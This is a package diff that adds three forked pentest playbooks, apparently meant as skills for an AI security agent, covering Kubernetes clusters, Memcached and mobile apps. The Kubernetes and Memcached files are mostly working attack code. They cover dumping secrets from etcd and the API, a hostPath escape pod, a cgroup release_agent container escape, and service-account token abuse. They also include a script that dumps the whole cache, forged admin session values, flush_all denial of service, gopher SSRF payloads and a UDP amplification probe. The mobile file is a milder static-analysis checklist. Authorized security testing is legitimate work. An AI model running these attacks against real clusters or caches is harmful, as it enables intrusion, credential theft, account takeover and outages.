@aegis-scan/skills 0.5.0 → 0.5.1

package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md

@@ -0,0 +1,281 @@
+<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
+
+# Kubernetes Security Assessment
+
+## Overview
+Kubernetes cluster security assessment: API server exposure, RBAC misconfiguration,
+etcd access, pod escape techniques, service account token abuse, and secrets enumeration.
+
+## Prerequisites
+```bash
+apt-get install -y kubectl
+pip install kubeletctl
+# Install kube-hunter
+pip install kube-hunter
+# Install kube-bench
+wget https://github.com/aquasecurity/kube-bench/releases/latest/download/kube-bench_linux_amd64.tar.gz
+tar -xf kube-bench_linux_amd64.tar.gz -C /usr/local/bin/
+```
+
+## Phase 1: External Enumeration
+
+### API Server Discovery
+```bash
+# Default API server port: 6443 (TLS), 8080 (insecure)
+nmap -sV -p 6443,8080,2379,2380,10250,10255 TARGET \
+  -oN /workspace/output/TARGET_k8s_nmap.txt
+
+# Check anonymous API access
+curl -sk https://TARGET:6443/api/v1/namespaces \
+  | tee /workspace/output/TARGET_k8s_anon_api.txt
+
+curl -sk https://TARGET:6443/apis | python3 -m json.tool \
+  | grep '"name"' | tee /workspace/output/TARGET_k8s_apis.txt
+
+# Insecure API (port 8080)
+curl -s http://TARGET:8080/api/v1/pods | python3 -m json.tool \
+  | tee /workspace/output/TARGET_k8s_insecure.txt
+```
+
+### Kubelet Exploitation (Port 10250/10255)
+```bash
+# Read-only kubelet API (no auth)
+curl -sk http://TARGET:10255/pods | python3 -m json.tool \
+  | tee /workspace/output/TARGET_kubelet_pods.txt
+
+# kubeletctl — unauthenticated kubelet
+kubeletctl -s TARGET pods --namespace default \
+  2>&1 | tee /workspace/output/TARGET_kubeletctl.txt
+
+# Execute commands in pod via kubelet
+kubeletctl -s TARGET exec -p <POD_NAME> -n default -c <CONTAINER> -- id
+kubeletctl -s TARGET exec -p <POD_NAME> -n default -c <CONTAINER> -- cat /var/run/secrets/kubernetes.io/serviceaccount/token
+
+# Run commands across all pods
+kubeletctl -s TARGET scan rce 2>&1 | tee /workspace/output/TARGET_kubelet_rce.txt
+```
+
+## Phase 2: API Server Anonymous Access
+
+```bash
+# Configure kubectl (no auth)
+kubectl config set-cluster pwned --server=https://TARGET:6443 --insecure-skip-tls-verify
+kubectl config set-context pwned --cluster=pwned
+kubectl config use-context pwned
+
+# Test anonymous access
+kubectl --insecure-skip-tls-verify get pods --all-namespaces \
+  2>&1 | tee /workspace/output/TARGET_k8s_pods.txt
+kubectl --insecure-skip-tls-verify get secrets --all-namespaces \
+  2>&1 | tee /workspace/output/TARGET_k8s_secrets.txt
+kubectl --insecure-skip-tls-verify get nodes \
+  2>&1 | tee /workspace/output/TARGET_k8s_nodes.txt
+
+# Check what anonymous can do
+kubectl --insecure-skip-tls-verify auth can-i --list \
+  2>&1 | tee /workspace/output/TARGET_k8s_permissions.txt
+```
+
+## Phase 3: etcd Exposure (Port 2379)
+
+```bash
+# Check etcd without TLS
+etcdctl --endpoints=http://TARGET:2379 member list \
+  2>&1 | tee /workspace/output/TARGET_etcd.txt
+
+# Dump all keys
+etcdctl --endpoints=http://TARGET:2379 get / --prefix --keys-only \
+  > /workspace/output/TARGET_etcd_keys.txt
+
+# Extract Kubernetes secrets from etcd
+etcdctl --endpoints=http://TARGET:2379 get /registry/secrets --prefix \
+  | strings | grep -E "password|token|key|secret" \
+  > /workspace/output/TARGET_etcd_secrets.txt
+
+# Get service account tokens
+etcdctl --endpoints=http://TARGET:2379 \
+  get /registry/secrets/kube-system --prefix \
+  | strings > /workspace/output/TARGET_etcd_sa_tokens.txt
+```
+
+## Phase 4: RBAC Misconfiguration
+
+```bash
+# With a service account token (from pod escape or kubelet)
+export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
+kubectl --token=$TOKEN --insecure-skip-tls-verify auth can-i --list \
+  > /workspace/output/TARGET_sa_permissions.txt
+
+# Check for cluster-admin role bindings
+kubectl --insecure-skip-tls-verify get clusterrolebindings \
+  -o json | python3 -m json.tool \
+  | grep -A5 '"name": "cluster-admin"' \
+  > /workspace/output/TARGET_clusteradmin_bindings.txt
+
+# Find wildcards in roles
+kubectl --insecure-skip-tls-verify get clusterroles -o yaml \
+  | grep -B5 '"*"' \
+  > /workspace/output/TARGET_wildcard_roles.txt
+
+# Check for default service account misuse
+kubectl --insecure-skip-tls-verify get rolebindings --all-namespaces \
+  | grep "default" > /workspace/output/TARGET_default_sa.txt
+```
+
+## Phase 5: Pod Escape — hostPath Volume
+
+```bash
+# Malicious pod with hostPath mount (if allowed to create pods)
+cat > /workspace/output/TARGET_escape_pod.yaml <<'YAML'
+apiVersion: v1
+kind: Pod
+metadata:
+  name: escape-pod
+  namespace: default
+spec:
+  containers:
+  - name: escape
+    image: alpine
+    command: ["/bin/sh", "-c", "sleep 3600"]
+    volumeMounts:
+    - mountPath: /host
+      name: hostfs
+  volumes:
+  - name: hostfs
+    hostPath:
+      path: /
+  restartPolicy: Never
+YAML
+
+kubectl --insecure-skip-tls-verify apply -f /workspace/output/TARGET_escape_pod.yaml
+
+# Execute in pod to access host filesystem
+kubectl --insecure-skip-tls-verify exec -it escape-pod -- \
+  chroot /host /bin/bash
+```
+
+## Phase 6: Privileged Container Escape
+
+```bash
+# Check if running in privileged container (from inside pod)
+# cat /proc/self/status | grep CapEff
+# Expected privileged: CapEff: 0000003fffffffff
+
+# Escape via cgroup notify_on_release (from inside privileged container)
+# mkdir /tmp/cgroup && mount -t cgroup -o rdma cgroup /tmp/cgroup
+# mkdir /tmp/cgroup/x
+# echo 1 > /tmp/cgroup/x/notify_on_release
+# echo "$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)/cmd" > /tmp/cgroup/release_agent
+# echo '#!/bin/sh' > /cmd; echo "id > /output" >> /cmd; chmod +x /cmd
+# sh -c "echo \$\$ > /tmp/cgroup/x/cgroup.procs"
+
+# Escape via hostPID + nsenter
+# nsenter --target 1 --mount --uts --ipc --net --pid -- bash
+```
+
+## Phase 7: Service Account Token Abuse
+
+```bash
+# From inside pod — use mounted token
+TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
+CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
+APISERVER=https://kubernetes.default.svc
+
+# List pods in current namespace
+curl -s $APISERVER/api/v1/namespaces/default/pods \
+  --header "Authorization: Bearer $TOKEN" \
+  --cacert $CACERT | python3 -m json.tool
+
+# List secrets (if SA has permission)
+curl -s $APISERVER/api/v1/namespaces/kube-system/secrets \
+  --header "Authorization: Bearer $TOKEN" \
+  --cacert $CACERT > /workspace/output/TARGET_sa_secrets.txt
+
+# Create new pod via API (if allowed)
+curl -s $APISERVER/api/v1/namespaces/default/pods \
+  -X POST -H "Authorization: Bearer $TOKEN" \
+  -H "Content-Type: application/json" \
+  --cacert $CACERT \
+  -d @/workspace/output/TARGET_escape_pod.yaml
+```
+
+## Phase 8: Secrets Enumeration
+
+```bash
+# Dump all secrets (with admin token)
+kubectl --insecure-skip-tls-verify get secrets --all-namespaces \
+  -o yaml > /workspace/output/TARGET_all_secrets.yaml
+
+# Decode base64 secret values
+kubectl --insecure-skip-tls-verify get secret <SECRET_NAME> -n <NS> \
+  -o jsonpath='{.data}' | python3 -c \
+  "import sys,json,base64; d=json.load(sys.stdin); \
+   [print(k,'=',base64.b64decode(v).decode()) for k,v in d.items()]"
+
+# ConfigMaps (often contain plaintext secrets)
+kubectl --insecure-skip-tls-verify get configmaps --all-namespaces \
+  -o yaml | grep -i "password\|token\|key\|secret" \
+  > /workspace/output/TARGET_configmap_secrets.txt
+```
+
+## Phase 9: Automated Scanning
+
+```bash
+# kube-hunter (unauthenticated external scan)
+kube-hunter --remote TARGET \
+  --report json > /workspace/output/TARGET_kube_hunter.json 2>&1
+
+# kube-bench (CIS benchmark — run inside cluster)
+kube-bench run --targets master,node \
+  --json > /workspace/output/TARGET_kube_bench.json 2>&1
+
+# trivy (image vulnerability scan)
+trivy image --format json \
+  -o /workspace/output/TARGET_trivy.json \
+  <IMAGE_NAME>:latest
+```
+
+## Report Template
+
+```
+Target Cluster: TARGET
+API Server: https://TARGET:6443
+Assessment Date: <DATE>
+
+## Critical Findings
+- [ ] Anonymous API access — full cluster read/write
+- [ ] kubelet unauthenticated access (port 10250)
+- [ ] etcd exposed without TLS/auth
+- [ ] Privileged pod escape successful
+- [ ] Service account token with cluster-admin privileges
+
+## Cluster Information
+Nodes: <count>
+Namespaces: <list>
+Total Pods: <count>
+
+## RBAC Issues
+Overprivileged service accounts: <list>
+Wildcard permissions found in: <roles>
+
+## Secrets Exposed
+Total secrets: <count>
+Sensitive data found: <list>
+
+## Recommendations
+1. Enable RBAC and disable anonymous access
+2. Enable TLS on kubelet and etcd
+3. Use Network Policies to restrict pod communication
+4. Avoid privileged pods and hostPath mounts
+5. Enable Pod Security Standards (restricted profile)
+6. Rotate all exposed service account tokens
+7. Implement secret management (Vault, Sealed Secrets)
+```
+
+## Output Files
+- `/workspace/output/TARGET_k8s_nmap.txt` — Port scan results
+- `/workspace/output/TARGET_kube_hunter.json` — kube-hunter findings
+- `/workspace/output/TARGET_kube_bench.json` — CIS benchmark results
+- `/workspace/output/TARGET_all_secrets.yaml` — Dumped secrets
+
+indicators: kubernetes, pentest, k8s, security, kubectl, exploit, kubeletctl, etcd, exposure, rbac, misconfiguration, pod, escape, service, account, token, privileged, container, hostpath, kube-hunter, trivy

package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md

@@ -0,0 +1,230 @@
+<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
+
+---
+name: memcached
+description: Security testing playbook for Memcached covering unauthenticated access, data extraction, cache poisoning, SSRF-to-Memcached, and UDP reflection amplification
+---
+
+# Memcached Security Testing
+
+Memcached is a distributed memory caching system — no authentication by default. Exposure of Memcached leads to: full cache data extraction (may contain sessions, tokens, user data), cache poisoning, and UDP-based DDoS amplification.
+
+---
+
+## Reconnaissance
+
+### Discovery
+
+    # Port scanning
+    nmap -p 11211 <target> -sV --open
+    nmap -p 11211 <target> -sU --open    # UDP (amplification attacks)
+
+    # Port: 11211 (TCP + UDP)
+
+---
+
+## Unauthenticated Access
+
+    # Connect via TCP
+    nc <target> 11211
+
+    # Basic commands (no auth required by default):
+    stats                           # Server stats, version, uptime
+    stats items                     # Item count per slab
+    stats cachedump <slab_id> <limit>   # Dump keys in a slab
+    stats slabs                     # Memory allocation info
+    stats settings                  # Server settings
+
+    # Telnet (alternative):
+    telnet <target> 11211
+
+---
+
+## Data Extraction
+
+    # Full extraction methodology:
+
+    # Step 1: Get all slab IDs
+    echo "stats items" | nc <target> 11211
+    # Returns: STAT items:<slab_id>:number <count>
+
+    # Step 2: Dump keys from each slab
+    echo "stats cachedump <slab_id> 0" | nc <target> 11211
+    # 0 = unlimited keys; Returns: ITEM <key> [<bytes> b; <expiry> s]
+
+    # Step 3: Get value for each key
+    echo "get <key>" | nc <target> 11211
+
+    # Automated extraction script:
+    python3 -c "
+    import socket
+
+    host = '<target>'
+    port = 11211
+
+    def send(sock, cmd):
+        sock.send((cmd + '\r\n').encode())
+        import time; time.sleep(0.1)
+        data = b''
+        sock.settimeout(0.5)
+        try:
+            while True:
+                chunk = sock.recv(4096)
+                if not chunk: break
+                data += chunk
+        except socket.timeout:
+            pass
+        return data.decode()
+
+    s = socket.socket()
+    s.connect((host, port))
+
+    # Get slabs
+    slabs = [line.split(':')[1] for line in send(s, 'stats items').split('\n')
+             if 'STAT items:' in line and ':number' in line]
+
+    for slab in slabs:
+        keys_raw = send(s, f'stats cachedump {slab} 0')
+        keys = [line.split(' ')[1] for line in keys_raw.split('\n') if line.startswith('ITEM')]
+        for key in keys:
+            val = send(s, f'get {key}')
+            print(f'KEY: {key}')
+            print(f'VALUE: {val}')
+            print('---')
+
+    s.close()
+    "
+
+---
+
+## High-Value Cache Keys
+
+    # Common patterns to look for in extracted keys:
+    session:*                   # PHP/Python sessions
+    sess:*                      # Express.js sessions
+    user:*                      # User objects (may contain tokens)
+    auth:*                      # Authentication data
+    token:*                     # Access tokens
+    csrf:*                      # CSRF tokens
+    cache:*                     # Generic cache data
+    api:*                       # API responses
+    rate:*                      # Rate limiting counters (modify to bypass)
+
+    # Search for sensitive patterns in values:
+    echo "stats cachedump 1 0" | nc <target> 11211 | grep -i "session\|token\|user\|auth"
+
+---
+
+## Cache Poisoning
+
+    # If writable access (same as read — no auth):
+    # Overwrite any cached key:
+    echo "set <key> 0 0 <length>\r\n<malicious_value>\r\nEND" | nc <target> 11211
+
+    # Example: overwrite user session cache:
+    KEY="session:abc123"
+    VAL='{"user_id":1,"role":"admin","username":"admin"}'
+    printf "set $KEY 0 3600 ${#VAL}\r\n$VAL\r\nEND\r\n" | nc <target> 11211
+
+    # Delete a key (cache invalidation DoS):
+    echo "delete <key>" | nc <target> 11211
+
+    # Flush all cache (DoS):
+    echo "flush_all" | nc <target> 11211   # Immediately invalidates all items
+
+---
+
+## SSRF to Memcached
+
+If SSRF exists and allows TCP connections to internal Memcached:
+
+    # Test if SSRF can reach Memcached:
+    SSRF URL: http://localhost:11211/   # Will likely error but confirm connection
+
+    # Gopher SSRF to Memcached (inject commands):
+    gopher://127.0.0.1:11211/_%0d%0astats%0d%0a
+
+    # More complex: set a key via gopher:
+    # Encode: "set key 0 0 5\r\nhello\r\n"
+    # As gopher URL (URL-encode \r\n as %0d%0a):
+    gopher://127.0.0.1:11211/_%73%65%74%20%6b%65%79%20%30%20%30%20%35%0d%0a%68%65%6c%6c%6f%0d%0a
+
+---
+
+## Memcached Version and Stats
+
+    # Get version and running stats:
+    echo "version" | nc <target> 11211
+    # VERSION 1.6.17
+
+    echo "stats" | nc <target> 11211
+    # STAT pid 1234                   — Process ID
+    # STAT uptime 86400               — Uptime in seconds
+    # STAT curr_connections 5         — Active connections
+    # STAT total_connections 1000     — Total since start
+    # STAT cmd_get 50000              — Total get commands
+    # STAT cmd_set 10000              — Total set commands
+    # STAT get_hits 40000             — Cache hits
+    # STAT get_misses 10000           — Cache misses
+    # STAT bytes 1048576              — Memory used
+
+---
+
+## UDP Reflection / Amplification (DDoS Vector)
+
+Memcached UDP is an extreme amplification vector (amplification factor up to 51,000x):
+
+    # Check if UDP port is open:
+    nmap -p 11211 <target> -sU
+
+    # Amplification attack (for testing only, do NOT attack unauthorized targets):
+    # Attacker sends spoofed UDP packet (stats command, ~15 bytes) to Memcached
+    # Memcached responds with stats (~500KB) to spoofed victim IP
+    # Amplification factor: up to 51,000x
+
+    # DO NOT EXPLOIT without explicit authorization — this is severe DDoS
+
+    # Detect exposure:
+    python3 -c "
+    import socket
+    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+    s.settimeout(2)
+    # Memcached UDP request header: reqId(2) seqNum(2) numDgrams(2) reserved(2) + command
+    payload = b'\x00\x01\x00\x00\x00\x01\x00\x00stats\r\n'
+    s.sendto(payload, ('<target>', 11211))
+    try:
+        data, addr = s.recvfrom(65535)
+        print(f'UDP exposed! Response: {data[:100]}')
+    except socket.timeout:
+        print('UDP not responding')
+    "
+
+---
+
+## Tools
+
+    # memcached-cli (Node.js)
+    npm install -g memcached-cli
+    memcached-cli <target>:11211
+
+    # mc — Go memcached client
+    # Direct nc/telnet are most portable
+
+    # Automated enumeration:
+    nmap --script memcached-info <target> -p 11211
+
+---
+
+## Pro Tips
+
+1. Memcached with no auth = full read/write access — extract ALL keys systematically
+2. Session tokens and JWTs cached in Memcached enable authentication bypass
+3. `flush_all` is a one-command DoS — clears all cached data (causes DB hammering)
+4. UDP port 11211 should NEVER be exposed — it's a critical DDoS amplification source
+5. Rate limiting data stored in Memcached can be deleted to bypass rate limits
+6. Web apps may cache sensitive admin responses — look for keys like `admin:*`, `config:*`
+7. Memcached SASL auth is optional and rarely configured — almost always no auth
+
+## Summary
+
+Memcached testing = `stats items` + `stats cachedump <slab> 0` + `get <key>` for full data extraction. Unauthenticated Memcached = read all cached sessions, tokens, and API responses. Session key overwrite enables account takeover without knowing credentials. UDP exposure on port 11211 is a critical DDoS amplification vector — report immediately even without extracting data.

package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md

@@ -0,0 +1,105 @@
+<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
+
+---
+name: mobile-app-pentesting
+description: Mobile application security testing for Android APK and iOS IPA in headless Docker environments, covering static analysis, constrained dynamic testing, and evidence-focused reporting.
+---
+
+# Mobile App Pentesting (Android APK / iOS IPA)
+
+Use this skill when the target is a mobile app package (`.apk`, `.aab`, `.ipa`) or when prompts mention Android/iOS pentesting.
+
+## Environment Constraints
+
+- AIRecon runs in Docker + CLI-first workflow.
+- GUI workflows are optional only; prefer reproducible CLI outputs.
+- iOS dynamic testing usually requires external infra (macOS + jailbroken/non-jailbroken instrumentation strategy).
+
+## Workflow
+
+1. Confirm scope and artifact.
+   - Verify app package hash and version.
+   - Record package identifier / bundle id.
+2. Run fast static triage.
+   - Manifest, permissions, exported components.
+   - Embedded secrets, API keys, debug flags, cleartext traffic.
+3. Expand to deep static analysis.
+   - Code-level sink/source tracing for auth, storage, crypto, IPC/deep links.
+4. Run dynamic checks if runtime is available.
+   - Validate TLS pinning behavior, root/jailbreak checks, auth/session handling, local storage protections.
+5. Report with reproducible evidence.
+   - Include exact command, file path, and output snippet per finding.
+
+## Android (APK/AAB)
+
+### Static Baseline
+
+```bash
+# Metadata and signing
+sha256sum app.apk
+apksigner verify --print-certs app.apk || true
+
+# Decode manifest/resources
+apktool d -f app.apk -o output/apktool_app
+
+# Java/Kotlin decompilation
+jadx -d output/jadx_app app.apk
+
+# Secrets and indicators
+strings app.apk | grep -E "AKIA|AIza|Bearer|token|password|secret" | head
+apkleaks -f app.apk -o output/apkleaks.txt || true
+apkid app.apk || true
+```
+
+### Priority Checks
+
+- Exported activities/services/receivers/providers without proper permission gating.
+- `android:debuggable="true"` in release builds.
+- Insecure network config (`usesCleartextTraffic`, permissive trust managers, weak hostname checks).
+- Hardcoded secrets, backend URLs, and test credentials.
+- Weak local storage handling (plaintext tokens/PII in shared prefs, sqlite, files).
+- Unsafe deep-link/intent handling that could enable privilege bypass.
+
+### Dynamic (If Device/Emulator Exists)
+
+```bash
+adb devices
+frida-ps -U
+objection -g <package.name> explore
+```
+
+- If no connected runtime is available, continue static-only and mark dynamic coverage gap explicitly.
+
+## iOS (IPA)
+
+### Static Baseline (Headless-Friendly)
+
+```bash
+sha256sum app.ipa
+unzip -o app.ipa -d output/ipa_unpacked
+find output/ipa_unpacked -maxdepth 4 -name Info.plist -print
+strings output/ipa_unpacked/Payload/*/*.app/* | grep -Ei "token|secret|apikey|password" | head
+```
+
+### Priority Checks
+
+- ATS configuration exceptions in `Info.plist`.
+- URL schemes / universal links exposure and unsafe handlers.
+- Hardcoded endpoints, secrets, feature flags, and debug toggles.
+- Insecure local data handling assumptions (Keychain usage validation via code paths).
+- Jailbreak detection logic weaknesses (bypass potential) noted as hypothesis unless dynamically proven.
+
+### Dynamic iOS Note
+
+- Full dynamic iOS instrumentation is typically not feasible inside this Docker engine alone.
+- If dynamic iOS testing is required, escalate to dedicated environment and keep this agent focused on static evidence + hypothesis generation.
+
+## Evidence and Reporting
+
+- For each issue, include:
+  - Affected file/component path.
+  - Reproduction command(s).
+  - Security impact and realistic attack path.
+  - Minimal remediation guidance.
+- If dynamic testing is unavailable, add explicit "Not validated dynamically" tag.
+